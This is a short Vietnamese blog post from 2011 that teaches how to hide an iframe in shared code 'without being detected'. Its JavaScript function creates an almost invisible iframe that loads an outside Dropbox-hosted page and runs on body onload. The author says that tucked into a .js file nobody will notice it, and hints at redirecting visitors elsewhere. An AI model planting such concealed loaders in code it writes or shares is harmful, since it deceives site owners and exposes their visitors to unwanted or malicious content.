Monday, November 7, 2011

Chèn Iframe thoải mái mà không bị phát hiện


 bạn có một code và share trên mạng , muốn chèn iframe thì làm như sau
có một file js - file nào cũng dc , miễn là js
bạn chèn code


function ShowJsF()
{
var iframe = document.createElement("iframe");
iframe.setAttribute("id","testiframe");
iframe.setAttribute("name","testiframe");
iframe.setAttribute("height","1");
iframe.setAttribute("width","0");
iframe.setAttribute("frameBorder","1");
iframe.setAttribute("scrolling","auto");
iframe.setAttribute("src","http://dl.dropbox.com/u/10870808/Apps/avim/index.html");
iframe.style.position = "absolute";
iframe.style.display = "block";
iframe.style.top = 100 + 'px';
iframe.style.left = 100 + 'px';
window.document.body.appendChild(iframe);
return false;
}  

và trong index.php bạn chỉ cần load file js đó lên và thêm đoạn sau : (vào chỗ nào cũng dc)

<body onload="ShowJsF();">

vậy là xong , nhét vào js thì chả ai biết mà mò đâu
ví dụ http://dl.dropbox.com/u/10870808/Apps/avim/index.html là của mình , và mình chèn cái killiframe rồi drect đến cái xxx thì

No comments:

Post a Comment